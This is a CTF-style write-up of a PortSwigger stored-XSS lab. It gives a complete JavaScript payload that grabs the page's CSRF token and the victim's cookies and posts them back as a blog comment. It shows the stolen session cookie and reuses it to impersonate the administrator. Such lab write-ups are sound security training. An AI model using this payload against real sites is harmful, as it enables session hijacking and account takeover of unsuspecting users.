Post

Lab - Exploiting XSS to Steal Cookies

This writeup covers exploiting a stored XSS vulnerability to steal session cookies and impersonate users, part of the PortSwigger XSS lab series.

Lab - Exploiting XSS to Steal Cookies

Introduction

This is a practical and interesting lab from PortSwigger’s XSS series. It consists of not just finding an XSS vulnerability, but actually exploiting it — specifically to steal another user’s cookie and impersonate them.

For the professional report of findings, you can find it here: report

Investigation

We can find the usual blog as shown in the following image:

Blog page

The challenge states that there is already an XSS vulnerability in the comment functionality, so let’s test it. As shown in the following image, we insert a basic HTML payload:

Inserting HTML payload

As we can see in the following image, the XSS vulnerability is confirmed:

XSS confirmed

Now the challenge consists of actually exploiting this XSS vulnerability to perform cookie stealing. However, there is a catch: we need a webhook, and this challenge only accepts Burp Collaborator’s default public server (To solve the lab, you must use Burp Collaborator's default public server.). Since that requires a paid Burp Suite license, we are going to use an XSS + CSRF-like approach instead. Specifically, we will craft a payload that makes the admin post their own cookie as a comment.

Exploitation and Payload

After testing the comment functionality and intercepting traffic with Burp Suite, I discovered that the endpoint responsible for submitting a comment is /post/comment, with the parameters shown in the following image:

Comment endpoint parameters

The payload is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>

document.addEventListener("DOMContentLoaded", () => {
  const csrf_token = document.querySelector('input[name="csrf"]').value;
  let cookie_t = document.cookie;

  fetch("/post/comment", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: `csrf=${csrf_token}&postId=9&comment=${cookie_t}&name=sdasd&email=fdf%40ca.com&website=https%3A%2F%2Fdsfl343klfdsf4wl.net`
  });
});

</script>

We use the DOMContentLoaded event listener to ensure the CSRF token is extracted from the input field only after the DOM is fully loaded, since the script might otherwise execute before the input is available. We also include the CSRF token because it is required for the POST request.

Note that the postId is hardcoded here — make sure to check your own post ID before blindly submitting this payload.

After submitting the payload, a new comment appears as shown in the following image:

Stolen cookie comment

This is the cookie of the user we are trying to impersonate, composed of two fields:

1
secret=rcNX99IVg8M3DccFvbFy5NCXXNU3zyVF; session=psoYlcBjyKj5xCWrKt4lszD6wOWf61ss

We take the session field and paste it into the browser’s cookies.

Setting the cookie in the browser

After refreshing the page, the challenge is solved and we can access /my-account?id=administrator:

Challenge solved

Conclusion

We leveraged XSS combined with a CSRF-like technique to solve this lab — a workaround for not having a Burp Suite Professional license.

The key difference between actual CSRF and what we did here is that CSRF typically causes the victim’s browser to send a request to an external service, whereas in this case we sent the request to an internal endpoint on the same site.

For the full professional report, you can find it here.

This post is licensed under CC BY 4.0 by the author.